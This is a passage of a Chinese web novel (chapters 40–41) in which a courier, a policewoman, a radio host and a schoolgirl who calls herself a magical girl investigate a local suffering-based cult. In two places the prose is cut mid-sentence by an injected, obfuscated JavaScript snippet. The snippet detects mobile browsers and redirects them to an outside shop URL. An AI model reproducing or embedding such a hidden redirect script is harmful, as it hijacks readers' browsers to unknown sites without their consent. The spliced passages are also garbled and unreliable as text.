“…你在说什么东西。”小五皱眉,“你当她几岁?她这个年龄想什么做什么都不奇怪,所以我必须确保她走在正确的道路上,至少在大学毕业后找到工作,不,工作三年之前吧。” “哇。”小象感慨。 “我该做的。”小五理所当然地说。 “那如果她真的是魔法少女呢?”小象问道。 “…无论如何,只要她还是人,就该以常理认定的方式去生活。”小五轻叹口气,“不然会很辛苦的…” 收起放轻的嗓音,她回头问道,“关于我们的事到此为止,希望我以后不会再看见你和未成年人走在一起,明白了吗?” “…我尽量。”小象回答。 “明白了,吗?”小五重复。 “…我知道了。”小象无奈道,“说真的,不是我先动手的…” “但你是成年人,知道自己在做什么,所以责任在你。”小五强调,“你是送货的,知道‘责任’意味着什么,对吧?” 小象没有回答。 “她那边我会谈,但你要收敛自己多余的想法。”小五继续道,“尤其是你现在确实很可疑,别再做会让我想把你拘留的事情了。” 这句话似乎是在劝说,但小五的嗓音成功将其转为威胁用语。 “你到底在怀疑我什么?”小象问道,“之前不说,现在总能告诉我了吧,是关于小四的事情?” “你知道多少?”小五看向小象。 “居然是从我开始吗…”小象想了想,说,“我上网搜了点东西,听说她家以前条件还不错,现在家里却一台钢琴都塞不下了,听说她以前钢琴弹得好,也听说她家里在信奇怪的宗教。” “最后那部分是从小六嘴里听说的。”小五笃定道。 “…她是小四的粉丝,了解得很多。”小象也没否认,“她来找我也不是为什么奇怪的事,只是想让我劝劝小四继续弹钢琴。” “还有呢?”小五问。 “…你指哪部分?”小象问。 “‘奇怪’的部分。”小五说,她的眼睛一直盯着小象的脸,这黑灯瞎火的也不知道能看清些什么,但小象也不敢撇嘴。 “…是有谈一些关于邪教的问题。”小象继续道,“她说小四或许是因为那个邪教行动受伤的,告诉了我很多关于那个教派的信息,以及,一点自己家里的事情。” “这就是你请她吃饭的原因?”小五问。 “…总比回家吃快餐好。”小象有点想转过脸去。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296759|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我怀疑你的原因确实是因为小四。”小五换了个话题,“我们公安局常年追查那个宗教组织,有些收获,但一直没能查到其在本地最大的聚点。今天我一直盯着那栋楼,为了盯一个成员,但那段时间只有你一个人从公寓正门走出。” “就我一个?”小象皱眉,“我上去的时候可看见了另一个——” “什么样的人?”小五迅速追问。 “穿着黑西装的年轻人,说自己叫小二,看上去不想上班。”小象回答。 “是她。”小五点头,“她是我一直在追查的新邪教成员。” 好吧,原来那不是保险公司,小象没太意外,这两边从实用意义上而言倒也差不多,是不出事就派不上用场的心理慰藉品。 “她们有特殊方式处理自己的行踪,包括脚印指纹和其它微量物证,所以我们想最终就只能靠人实时盯梢。”小五捏起自己的棒棒糖,糖球折射月光,像一盏路灯,“原来如此,她们确实已经进行过接触了,小四确实依旧是信徒。” 闻言,小象却是想起小六的说法,她能笃定地说出小四是教团成员,但小五却还处于怀疑阶段,难道粉丝的爱就真的那么好用? “然后呢?”小象问道,“你要把她抓起来?她倒确实不会突然失踪。” “你和小四谈过话,如何?”小五问道。 “挺有礼貌。”小象说,又补充,“如果你想说她看上去不像邪教徒,我只能说人不可貌相。” “轮不到你说。”小五笑了,“她看着正常,也确实没可疑行为。我们已经确认那一教团存在组织犯罪行为,但你知道,宗教行为这玩意难查得很,她们的教条遵循行动是完全内化的,且被其信徒发自真心地接受,所以我们只能用‘与未成年人相关的犯罪证据’给她们定罪。” 宗教所为似乎总游离于常理之外,但又被信徒发自真心地接受,那谁又能去给这样的行为定罪呢?教徒们只承认自己信仰的神。 “就像小六那次。”小象说。 “对。”小五回答得毫不犹豫。 “那你还查小四做什么?”小象问道,“她可是独居。” “这就是另一方面的问题了。”小五塞回了棒棒糖,“她们教派追求主动受苦受难,这样猎奇的教条依旧有教徒追求自然是有理由的。据调查,该教团高层会定期抽取教徒回应她们的愿望以做激励,苦难池积累越多概率越高,既然你知道小四家里曾是教团成员,那你就该能想象的,那些高层确实能实现普通人能想象出的大部分愿望。我们努力的这么些年确实剪掉了她们部分羽毛,但核心部分总触及不到,我怀疑小四再次接触教团是为了实现愿望,那根胳膊就是她付出的代价。联想到她的遭遇,我不觉得那愿望会是对社会有益的。” “原来如此…”小象喃喃道,又想起了先前在广播中听到的内容,若那人真是小二本人,而她说就的正是小四,那么抛开创始人小故事欺诈不谈,该团体的责任履行能力或许已然出了问题,至少在这边的这部分会需要用“骗”和“安慰”来拖延时间。 “你想起了什么?”小五问。 “…只是猜想而已。”小象忍不住换了一边站,“有其它实现愿望例子吗?” “能摸到手的都是最基础的。”小五说,“我知道最极端的例子是,教团为一个窒息而亡的足月婴儿准备了意识转移手术和人造人躯体,现在人已经快上学了。” “这确实…难道说每个地方的教团都能做到这种事吗?”小象疑惑,“会不会这里的分公司业绩不太好所以…” “你在想什么东西?”小五皱眉,“那教团里的都是一群抱团的疯子,你指望疯子有正常逻辑?” 说完她顿了顿,又说,“我知道你在想什么,不会有那种事,该教团中成员虽然无法做到完全统一思想,但在实现愿望这一点上,为了体现所谓的‘神性’,这群人不会搞地域歧视。” 那就是说抗风险能力出问题的是其本身,小象想了想又问道,“有最近的例子吗?” “你怀疑教团没办法实现小四的愿望。”小五直接道,“为什么?” “…只是猜测。”小象也不太自信。 “猜测什么?”小五追问。 “先前我遇到小二时,她似乎非常不愿意与小四见面,表现像是心虚。”小象说,“所以我才在想会不会是这样。” 闻言,小五沉默许久,她的嘴里发出咬碎糖块的声音,等到什么都不剩下后她才开口道,“我明白了。” “…明白什么?”小象等得有点困了。 “小四舍弃健康,为的是‘另一条路’。”小五捏起棍子挥了挥,“她彻底放弃了作为钢琴家的前途,为表决心,当然也不会再要那台钢琴了。虽然不知道小二为何对自己的神失去了信心,但这确实是一个征兆。” 说完,她直起身,“感谢您的配合,你可以走了,记住你刚才说的话,路上注意安全。”随后她拉开阳台门,送客意思相当明显。 “…热心警察能送我回酒店吗?”小象打了个哈欠,“用警车也行。” “啧。”小五显然不太热心。 但她还是送小象回了酒店,用私家车,四个轮子的,她车开得急,掉头时都要猛踩油门,差点没把小象的头甩到后座去。小五的车只有副驾驶能坐人,后座放满了健身与出警装备,她的车和家里一样毫无装饰痕迹,只有后视镜下方违规挂着一个毛绒玩偶,看不出原型,是小六书包上的同款。 “所以你是巡警还是刑警?”小象站在车外问道,得益于眼前车窗内司机,她现在清醒了许多。 “…以前我负责在这一块巡逻,这里的人都把我当巡警。”小五挂了倒车档,“记住,以后别让我再看到你出现在不该出现的地方。” 随后那辆车就风驰电掣地倒走了,风吹得小象更清醒了点,她甩了甩头发,回屋准备休息。临睡前她忽然想起小三的电台节目,便打开床边收音机调频,此时正值感情调解时间,主持人艰难地在“你根本没给我选择”与“我都是为了你好”之间夹缝捧哏,节目效果十足,小象听了两句就关上睡了。 40. 魔法与信徒-中-2 早睡早醒,小象日常确认邮件,暂时没有收到任何回信。通常情况下会有两种走向:货物在仓库停留并被挂牌出售,买下的人会包揽其运输费用;发货方直接将货物转卖给当地的琴行,不再过问其消息。 总之,虽然小四说“送回到制作者身边”,但这实际上很难,毕竟制作者身边大概也放不下那么多三角钢琴吧。不过既然她不想要,那这台钢琴的去处就也与她无关了,待发货方回信后处理好手续,小象这次的任务就算是完成了。 而在等待时间里,小象依然准备继续探索一番本地宗教环境,但她不准备与小六再次接触。一来学生得上学,二来,既然对方家长都明确说明过,再犯恐怕就不是“谈谈”能解决的事了。于是她特地避开了上学时间出门,却还是在酒店大堂遇到了小六,她甚至背着书包,坐在沙发上焦灼不安的样子与先前独自排队时有几分相似。 “…你该去上学了。”小象好言相劝,“想想你的月考。” “怎么你也这么说!”小六一副被背叛的挣扎模样,“我们不是合作伙伴吗?难道说你被我姑姑她说服了?不可以啊小象!我真的是魔法少女,我们要一起拯救——” “这件事你姑姑会做的,你该去上学。”小象试图去拉扯小六的书包把她拉起来,没想到她的书包也重得不可思议。 “…你觉得我姑姑说的是对的?”小六转过头,执着地盯着小象问道。 “即使你真的是魔法少女,现在你也该去上学了。”小象无奈地拍了拍手下的包,“你自己也知道的吧,背着它来找我总不能是因为这是你的魔法背包。现在你要迟到了,想想你姑姑。” “…难道我就不能潇洒一点,一边做魔法少女,一边当普普通通的高中生,在保持成绩优良的同时暗中拯救世界,吸引一大群粉丝还能让我的姑姑刮目相看说‘你居然是真的是魔法少女早知道我就多陪陪你了’吗?”小六失意地垂首坐在沙发上控诉道,“明明小说漫画里都是这样的啊!” 至少这孩子挺实诚,小象就憋住了没笑出声,她问道,“那你来找我到底是为了帮助小四,还是想达成你的目标?前者也就算了,后者可不是你现在该做的。” “…都有吧。”小六有点不好意思地说,“一般来说这不是可以既要又要的吗?” “不一样。”小象摇头。 “哪不一样?”小六抬头疑问。 “你看的作品一定省去了学习的剧情,你们国家的人不是喜欢说‘学习改变人生’?人生才是重要的部分,结局之后的故事你看不到了而已。”小象说,“你的人生和可以随时完结的漫画不一样。” “…作者会写后日谈番外的!”小六执着地说。 “你姑姑对我动手可等不到后日谈。”小象摊手,“即使是为了我,也请去上学吧。” 小六沉默了,她就缩在沙发上,不愿意动也不愿意继续找理由。 “你不喜欢学校吗?”小象问道。 “…一般。”小六闷闷地回答。 那就是不喜欢了,小象疑问,“你没有和姑姑说过这件事吗?” “…不喜欢就要说?谁会喜欢学校啊?”小六反问,“你没有上过学吗?” “…我确实没上过高中。”小象难以感同身受,见小六以“你居然是文盲”的眼神看过来,她连忙解释说,“我当然接受过教育,不过没有过高中校园生活,大学生活和正常人是一样的!” “你家里人也不让你上学吗?”小六好奇。 “我没有血缘意义上的家人。”小象回答,“我出身于一个没有国家的土地上,听说那里很乱,所以我出生后不久就被联合国的救援队带走了。” “喔…抱歉。”小六低声说。 “那你能去上学了吗?”小象问。 “…你不会是…”小六眯起眼睛,但又叹了口气站了起来,试探着问道,“那,我们放学后见?” “…能不见吗?”小象问。 小六眼睛一瞪,“好哇,你果然——” “见,我见。”小象举起双手,“我今天就去调查,你好好上学,放学后碰头,我告诉你我的调查结果,怎么样?” “…一言为定哦。”小六盯着小象说,“你不来找我的话,我今晚就从你房间阳台窗户爬进去找你。” “一言为定…”小象还能说什么呢。小六这才勉强又匆忙地上学去了,小象目送,心里疑惑她是怎么知道自己住址的,难道小五会说梦话? 所谓“调查行动”指的是给小三打电话。 “欢迎来电,我是小三,请问这位陌生的朋友,有什么可以为您效劳的?”手机传出的声音与车载收音机里传出的一模一样,就连那腔调与咬字都相同,显然小三有把自己的事业生活化。 “你好。”小象开口道,“我昨天恰巧听到你的电台节目,对那位名叫小二的来宾很感兴趣,但可惜的是听到一半因为工作不得不离开了,我的同事向我推荐了这个号码,说是你会乐意与我聊聊。” “当然。”小三笑了三声,“我乐意听见你们的声音,任何声音。小二…我还记得她的声音,以及她的故事,昨日她匆忙离开没能把故事讲完,现在看来,为此感到惋惜的不止我一个。” 小象想了想,说道,“其实昨天我在工作中也遇到了一个叫这个名字的人,而且我遇到她时,她确实在通话。” “那可真是…”小三感慨道,“看来您很幸运。” “但我们没能聊多少,可能是不够幸运吧。”小象笑了笑,“我还是很好奇她们公司的故事,你愿意告诉我一些吗?” “让我来看看…”小三那头传来翻书声,“或许您会想与我面对面谈谈?” “当然。” “那就今日午休时间如何?我知道一处相当适合坐下聊聊的咖啡馆。” 到了时间,小象推开咖啡馆的门,风铃作响,侍者带着菜单前来迎接客人。 “又看到你了,送货员小象,我是咖啡馆服务员小一,好久不见!”套上围裙与透明框眼镜的小一微笑着问道,“欢迎光临,请问几位?” “…我找小三。”小象感慨,“辛苦了,咖啡馆服务员小一。” “原来是有座位的客人。”小一伸手,“请进,有需求请使用呼叫铃。” 用餐区被午后阳光晒得金黄,红丝绒沙发座如海浪般闪着光,每个客人的脸都能恰好被挡住,配合足够掩盖脚步声的舒缓小提琴,这里确实适合谈话。 “这里。”一位年约五十的笑面从角落探出,绅士帽丝巾皮鞋加上背后扎着蝴蝶结的双排扣风衣,看上去像是要谈生意的人开口道,“我是小三,您就是我要等的客人,我猜的没错吧?” “我是小象。”小象在她对面落座,“有猜到这个名字吗?” “您可真会难为人。”小三抬了抬眉毛,“不过这次没能难为到我,下次再努力些吧,送货员小象。” “小一告诉你的?”小象不意外,“总感觉哪里都能看到她。” “托她的福,我总有新的话题。”小三点头,夹起立在桌边的菜单,“来喝点什么吧,为感谢您远道而来,就让我好客一回。” “那我要和你一样的。”小象也没客气。 不一会,伴着两杯三倍浓缩咖啡的香气,二人开始了谈话。 “想来,您想了解的不仅仅是关于小二这位可怜的年轻人,也有关于她的烦恼之源——也就那公司的事情吧。”小三眨了眨眼,鱼尾纹让她显得亲切,“能告诉我原因吗?除了‘想把故事听完’这种类型的原因。” 小象顿了顿,回答道,“记得我说过,昨天我也遇到了一位小二,而通过种种观察,我怀疑她们——我看见的和我听见的,是同一个人。” “亲爱的,您该明白这世界上总有各种各样的巧合。”小三搅了搅咖啡,她没使用任何添加剂。 她一说“亲爱的”小象背上就起鸡皮疙瘩,但现在不是合适的纠正时间,她想了想,问道,“那在什么样的情况下,她们才能算是同一个人呢?” “若是需要确切结果,那除非小二确确实实地站出来承认,除此之外任何情况我们都都无法确信。”小三慢条斯理地说,“但既然我们只是在谈谈,那就…如果她们抱有相同的目的,且在做同样的事情,就足够让我们将两位小二看作是同一个人了。” “昨天我遇到的小二正站在客户门前不敢敲门。”小象抬起手指。 “那就算吧。”小三说。 “…好吧。”小象点了点头,“而很凑巧的是,她要拜访的客户也是我要见的人,我是个送货员,而那位是收货的。那是一份贵重且耗时五年的货物,收货人却相当果断地拒收了。” “哦…”小三撑起脑袋,“所以您对那位收货人感到好奇,于是也对小二感到了好奇,我猜的没错吧?” “确实是这样。”小象点头。 “恕我冒昧,我可以了解一下那位收货人吗?”小三问道。 闻言,小象有些犹豫,小三并非工作相关人士也没拿把枪指着她的脑袋,所以她不该把工作相关信息透露给对方。 “看来我有为难到您。”小三笑了,她端起咖啡喝了口,继续道,“说实话,昨日连线之后小二并没有再次与我联络,所以关于她的事,我了解得不算多。” “那关于她公司的事呢?”小象问道。 “我确实有些自己的想法。”小三看着小象答道,“工作之余,我算是个社会文化学者,平日里爱好将自己所闻所见记录下来,并加以思考。亲爱的小二身上可是充满了秘密,我又怎么能对此放任不管呢?” 她拿起手边的记事本,说道,“不过按照我的规矩,每个想从我这里知道些什么的人都得先告诉我一个故事,这个故事会作为素材被我带上节目,您了解的,我们可不能让听众的耳朵闲下来超过三秒。” “原来是这样。”小象点了点头,“可以理解,你对故事有什么要求吗?” “我不会要求它有多有趣,但我需要真实,最好是您亲身经历过的。”小三一边伸出手指一边说道,“最好是最近一两年的事情,毕竟时间久了故事也会失真,以及,为我的听众考虑,这最好是本地发生的故事。” “我可是外地来的,昨天才到呢…”小象叹了口气,随即她想起小六的事情,开口道,“不过我确实遇到了件还算有意思的事情。” “那您可真是幸运。”小三打开记事本并按动圆珠笔,“无论任何事情,亲爱的,我都洗耳恭听。” “说起来这件事与我工作还有点关系…啊这部分请不要说出去,要是被对方的家长听见可就完蛋了。”小象清了清嗓子,“昨天,我吃在吃晚饭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296760|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上遇到了一个学生,她威胁我协助她调查她喜欢的一个钢琴家,对方因为各种原因不再弹琴了,她觉得很可惜。” “…原来如此。”小三若有所思,“可是,您一位成年人为何会受一个学生的威胁呢?” “…因为当时她拿了一把玩具枪指着我,说来惭愧,我没听出那是把玩具枪。”小象有些不好意思地说,“而且…她说自己是魔法少女,这个好像有点明显了,能换成别的词吗?比如说义警什么的?” “…魔法少女?”小三手里的笔停了下来,新鲜的,但也久违了的词汇。 “…我没在编。”小象无奈道,“她真是这样说的,使用魔法,击败魔物,守护世界和平之类的。” 小三沉默片刻,问道,“她有对您使用什么…魔法吗?” “没有,她说有人看着时魔法用不了。” “那魔物呢?” “…她倒是指认了一只橘猫,但橘猫没承认。” 二人的咖啡桌就这样沉默了下来,小三倒是没问最后“世界和平”的部分,毕竟大家都知道这没成功。小象觉得有些尴尬,伸手摸来第三个咖啡伴侣撕开倒进咖啡里,搅了搅尝尝,又去摸第四个。 “然后呢?”小三问道。 “啊?”小象一愣,这才意识到对方在追问,就又开口道,“然后我们走一起的样子被她家长看到了,我被抓去问话了好一整…啊这部分拜托也别说出去。” “哈哈哈,我理解我理解。”小三摆了摆手,又问道,“想来这些是您昨日所经历的,不知今日又如何呢?” “…她还来找过我,不过至少现在她去上学了。”小象叹了口气,“我放学还得带着我的‘调查结果’去找她,不然她说要半夜爬我窗户来找我…” “…那可真是。”小三笑了,“那位家长一定很头疼吧。” “可能吧。”小象点头,“这个故事如何?虽然只是个普普通通的遭遇。” “说实话,删改的部分太多,不太适合带给我亲爱的听众们。”小三合起了记事本,对不好意思起来的小象笑着说,“不过,很有趣,这对我来说就足够了。” 她将杯中黑色液体一饮而尽,叹了口气说,“果然这种体验相当不错啊…” “听完别人的故事然后喝浓缩咖啡?”小象问。 “当然,这种咽下了什么的感觉…”小三感慨着再次抬头看向小象,“让我们来谈谈您的‘调查’吧,我职业并非侦探,不过也会尽可能地回答您的问题。关于那家神秘的公司,请问您是想知道些什么呢?” “我想知道它的具体位置。”小象说。 “…为了继续调查?”小三问道。 “差不多吧。”小象点头。 小三沉默片刻,开口道,“在那之前,我们得确认您所想的与我所想的确实是同一目标,毕竟我可不想让那位等待‘调查结果’的魔法少女失望。作为判断的方式…请向我提问吧,我会用是或否来回答。” 面对突如其来的海龟汤,小象愣了愣。小象看到的汤面是“小二所在的公司实际上是邪教组织”,小三所持有的汤底是“邪教组织的真身”,小象需要通过提问的方式来确认“小二所在的邪教组织与汤底是同一存在”。 真的有必要确认这点吗?明明只要相信并在二者中间画上等号,就能方便又快捷地得到答案,小象这样想着,看向小三笑眼尾端的鱼尾纹,意识到对方实际上乐在其中。 那么,游戏开始—— “那家公司…”小象想了想,直接问道,“与宗教组织有关吗?” “…据运营模式,我认为那确实是某种教团。”小三回答。 “教徒以主动承受痛苦来遵循教条?”小象问道。 “可以这么说。”小三点头。 “教团高层会实现教徒的愿望。”小象确认。 “是有这种事。”小三确认。 “那它确实是——” “亲爱的。”小三打断道,“想要确认某个宗教,不该从教徒上看起,而是该看向她们所崇拜的神。关于那位被崇拜者,您了解多少?” “…说是埋在地底下。”小象说。 “确实,但那可不止一种…”小三有些苦恼地扶了扶帽檐,“有更详细一些的吗?” 仔细想来还真没有。小六作为教徒时年龄太小不记得什么,小五又只是盯着教徒行动的执法者,小四仅有工作上的交流,小二更是打个招呼就走了,甚至小象本人对此教的了解仅限于听说,她简直是最坏的调查者! 见小象苦思冥想,小三摊手说道,“若是您能带来些与其宗教本身相关的信息,那我便也能确定心中所想,作为学者,我不希望从我口里传出的言论是未经证实的,您能理解的吧?” “…我能。”小象违心回答,又追问,“那,如果我能带来与神相关的信息,你就能确认,并告诉我它的地址吗?” “我能告诉您的只有我的推测。”小三笑眯眯地说,“加油吧亲爱的,无论您带来了什么,我都会听的。” 总觉得工作增加了,小象叹了口气,想学小三的样子把已经变白的咖啡一饮而尽,但因逼迫而来的苦味气息没能做到,她放下,又摸来砂糖罐。 “诶呀,需要冰淇淋吗?”小三贴心道。 “…需要,谢谢。”小象点头。 41. 魔法与信徒-中-3 离开咖啡馆前,小象向自己在本地为数不多的联系人——小一,不抱希望地提问,“你知道这附近哪里有邪教徒吗?” “…这位客人。”小一的微笑没有变化,“这超出了咖啡馆服务员小一的服务范围,十分抱歉。” 也是啊,小象叹了口气,想了想又问道,“那,你知道这附近哪里有那种,鬼鬼祟祟地给别人发奇怪传单的人吗?” 小一看了小象片刻,随后摸出手机发给小象一串地址,并说,“请在日落之前去该地址附近找找看吧。” “…还真有啊。”小象意外道,但由于小三说的话,她现在又怀疑起这只是些地下赌场之类场所的广告派发员了。不过她也没得挑,道谢之后离开了。 前往调查之前,小象收到工作邮件,发货方发来一份三十几页的免责声明,近百条例忠诚地仅表达着一个中心思想:签了就别后悔。小象需要打印出彩色版本找上小四,在最后一页加上签名与指纹,她摸出手机给小四打电话,并希望自己不再算是陌生人。 电话被接通了。 “您好,我是小四。”她的声音低沉,“小象小姐,请问找我有什么事吗?” “是我。”小象有些意外对方记得自己,“是关于那台三角钢琴的退货手续,发货方那边需要你签署免责声明,最近你有时间吗?” “当然。”小四停顿片刻后回复道,“如果可以的话…明天上午如何?我会在家里等您的。” “好的。”小象记下了时间,“到时候见。 ” “麻烦您了。”小四说,“那么,请多保重。” 通话结束,小象看着手机屏幕想起了小五所说的“实现愿望”,她不明白小四为何会那样做,去拿好好的右手换取“实现愿望的可能”,到底是什么样的愿望会那样吸引她呢? 小一给出的地址在一处街机厅,这个时间人不算多,几个着装个性外显的年轻人三五成群地聚集着,有的在玩些什么,有的则是在嬉笑着抽烟,这些人看似没有工作,实际上光是活成个人样就足够叫人忙碌了。 避开不知第几团烟雾,小象四处打量着寻找合适的目标,这里每个人都可疑,但手里没有传单,她就这样从一个人的手看向另一个人的手,不知何时,她自己就变成了全场最可疑的那个。 就在有人起身靠近时,一台角落里的转盘机后阴影伸出一只手,特别可疑地朝小象招了招,她回头,发现所有人都看着自己,赶忙转过身朝那角落跑去。阴影之后,招手的人带着口罩与大黑墨镜,且手里抱着一叠传单。 “你…”小象看着眼前的小一,不知道该说什么。 “您好,送货员小象。”小一有些气喘吁吁,但还是在口罩后方保持了微笑,“我是传教士小一,请问您有兴趣了解一下我们全知全能的神吗?” “…你到底在打几份工?”小象真的好奇了,“我还会在什么地方看到你?” “哈哈,说笑了,我出现在哪取决于哪里需要我。”小一摆了摆手,“比如现在,您看上去似乎有些迷茫,对自己的生活感到空虚吗?对自己的未来感到不确定吗?不明白自己活着的意义吗?没关系,我们的神会给予您一切的,来了解一下吧。” 说完,她从怀里那一沓中摸出一张传单塞给小象,纸张到了手里还热着,双面彩色打印纸以鲜黄为底,用蓝色写下了一段文字: 很久很久以前,神明行走于世间,意识到生命存在,便带来了鱼与蛾。 若是神明感到开心,便会发生好的事情,但鱼与蛾想尽办法,却依旧无法让其露出笑容,它们哀叹生命的无用与无力。 神听见了,觉得它们可怜,便说:我来告诉你们如何令我喜悦。你们要分担我的痛苦,我便能笑了。 于是,鱼与蛾便说:是的,我们要理解神所理解的,哭神所哭,将神的泪流干净。 于是,神将自己的灵魂取出要分给它们,自己终于能够沉眠片刻。 但神的灵魂过于庞大了,它们为了能承载灵魂,一边繁衍,快速扩张族群,一边进化,将自身变得更像神明。 于是有一天,人类也行走于世。 人类的数量足够多,每人分走一丝灵魂,便能承载重量。 人类足够与神明相似,用那样的肉身行走,便能完成感受。 于是,人类一同承载灵魂,一同理解真实,一同承载神的痛苦。 直到有一天,那眼泪流尽了,喜悦的灵魂回归,神明露出微笑,就会有极大的好事发生。 “这是…”小象读完,抬起头看小一问道,“创始人小故事?” “神的意愿便是我教创始初衷,所以确实可以这样说。”小一点头,“读了之后感想如何?有萌发些信仰之心吗?” “不好说,不过…你也是教徒吗?”小象问道。 “当然,要想传教的话不发自真心地相信可不行。”小一微笑不变,“不过现在我是传教士小一,是无法带领您祷告的。” “可以告诉我你们聚会的地址吗?”小象问。 “您想入教是吗?”小一笑容更真挚了些,“那太好了,作为您的引路人,我会带您去参与苦海洗礼——” “停。”小象抬手,她差点忘了还有这茬,“其实我没有这个想法。” “哦…真是可惜。”小一失望地说,但很快她就恢复了笑容,“我明白,从普通人的生活跨越到这条路并不容易,我们不会强求,不过请问您为何不愿意信仰我们伟大的神呢?” 居然还要问为什么,小象低头看向传单,问道,“鱼蛾是什么?鱼我倒是能理解,蛾的话…飞蛾人?” “您说笑了。”小一歪了歪头,“就是指鱼与蛾。” “…所以说,那是什么?”小象继续问,“象征?吉祥物?超能力?” “鱼与蛾。”小一皱眉,“您不信吗?” “信什么?”小象迷茫地问,“你都没告诉我这是什么,我信什么?” “…我明白了。”小一叹了口气,“您未能跨越障碍,无法看清真相,就也领会不到其中真谛,您会有理解的一天的,我发自真心地这样祝福您。” 说完,她理了理口罩,似乎是要走了,小象连忙问道,“等等,你知道小四她——” “时间未到而已。”小一笑了笑,“那么,我先告辞了,期待下一次为您服务。” 说完,她就几个跨步从街机厅角落消失了,只留小象捏着传单站在角落里,她甚至来不及说一声再见。但至少有了收获,传单能证明她也当过此宗教行动的目击证人,小三总该满意了吧,小象这样想着拿出手机想打电话,突然又想起现在是对方节目时间,便暂且作罢。 今日小三的节目来了位神秘嘉宾,对方用了变声器,正向小三讲述自己曾经的迷茫,小三做出适时回应,听了一会后小象发现其实大多数来宾都会用变声器对自己的身份做出掩饰,也不会自曝全名。 节目结束后,她向小三告知了传单上的内容,对方思索许久,最后给了她一串地址。 “您会用它来做什么呢?”小三好奇道。 “姑且去看看,毕竟你也说了,这不一定真的是某处聚会地址。”小象一边说着一边朝小六学校门口走去。 “哦。”小三有些意外,“我还以为您会选择报警呢。” “确实。”小象这才想起还有这么个选择,不过她并没有遇到危险要报警的习惯,“那这次你猜错了。” “亲爱的,我不得不提醒您,若是没有引路人,那会是个危险的地方。她们不允许任何非正式教徒靠近,也不拒绝使用暴力手段。”小三沉下声音说,“在没有做好准备的情况下,您不该贸然前往。” “只是远远看看都不行?”小象疑问。 “或许此时,就有她们的眼线正盯梢着您呢。”小三提醒道。 这话让小象想起了手中传单的来源,“你知道小一是教徒吗?” “…自然。”小三叹了口气,“小一曾因生活空虚而向我寻求帮助,我推荐她寻找一个精神依靠,没想到…” “她现在的生活确实是不空虚了。”小象感叹道,“你还有当传教士的天赋呢。” “…总之,您准备好了吗?”小三问道。 “当然了。”小象抬手招呼,“实在不行,我这不还有位魔法少女嘛,区区邪教何足挂齿。” 不远处,在校门口紧张地东张西望的小六眼睛亮了,捏着书包带朝小象冲了过来。 “好吧。”小三笑了,“那么,希望你们平安归来。” “嘿嘿。”小六脸上的笑容收不住,看着莫名兴奋,“调查结果怎么样啦?” 小象展示手中传单,并配音,“锵锵——” “哦…”小六越读越觉得熟悉,愣了下后反应过来,“这不是教会里贴墙上的故事嘛!你去过教会里面了?好厉害——” “还没,我遇到了热心传教士。”小象收起了传单,“好,结果你也知道了,回家写作业吧。” “…就这样?”小六不满道,“这不是什么都没解决嘛,怎么能算数呢?” “明天我有工作上的事要去见小四,到时候我再帮你劝劝她吧。”小象说,“而且我们能解决什么?你姑姑会处理这件事的。” “…你找到地址了吗?”小六问道。 “…不确定。”小象回答。 “什么叫不确定?”小六盯着小象的脸看,“找到就是找到,你找到了吗?” “…有个怀疑的对象,但不确定。”小象摊手,“我准备去确认一下,如果确定了我再告诉你,怎么样?” “你一个人多危险啊!我和你一起去。”小六自告奋勇。 “…我们两个人就不危险了吗?”小象疑问,又说,“我带着你的话你姑姑得抓我去公安局,所以别想了。赶紧回家写作业吧,今天你有几张卷子?” “…四张。”小六失落地说,她想了想,将书包上的毛绒挂件解下交给小象,“这是讼告机v2.1型,你带着吧。” 小象接过那完全看不出原型的毛绒玩具,缝合线粗糙,看做工不太像机器制品,她忍不住捏了一下,讼告机就如橡皮尖叫玩具一般发出了一声长啸,音量之大足以堪比报警器,或者说它确实就是。 见状小六连忙阻止她捏第二下,说,“连续捏三下之后它就会被激活,我就会被传送到附近,这可是一次性的你别乱捏。” “哦…”小象塞进裤子口袋里,小六又给拎了出来放进她手里,说,“你放口袋里万一不小心压到怎么办?拿着吧,或者挂在哪。” 于是小象把它挂在了自己衣服上,小六这才满意地点了点头,转身依依不舍地离开了。见她走远,小象找了个角落,迅速地把讼告机解下并连续捏了三次,她还想再捏第四次,但内置的气囊好像被捏坏了,发不出声音来。 希望她不会怪我吧,小象这样想着东张西望了起来,小六并没有被刷新在旁边,她为自己莫名其妙的尝试笑了笑,转身走出了巷子。 “…我不是和你说了别乱捏吗?!”堵在巷口的小六怒道,又无奈地摊开手说,“真是拿你没办法,诶,这下我只能跟着你一起去了!” 小象怀疑对方其实一直跟着自己,但小六无论如何也不愿意回家,无奈之下,小象只得答应了对方的跟随请求。 “…总之,我只准备远远地看看。”小象强调说,“远远地,你明白吗?” “你好胆小哦。”小六不满道,“我会保护你的啦,不用担心。” “…如果你想保护我,就至少把这个带上吧。”小象递出了口罩和帽子,“然后把你的校服脱了放书包里,把东西存好,我们必须快去快回,至少在昨天你回家的点之前回去,明白了吗?” 小六勉为其难地答应了。 目的地在郊区,小象租了车,行至附近时天已经黑了,一片野蛮的山林路中突然出现一抹平整的水泥地,其上立着一栋看上去备受杀人犯喜爱的黑色尖顶长屋,周围无光源。为防止打草惊蛇,小象路过时并没有停留,仅仅是减慢了行车速度,她在前方找了个地方掉头,准备就这样回去了。 “我们不进去看看吗?”小六从后座探出头,“我看清了,那里面没有人的。” 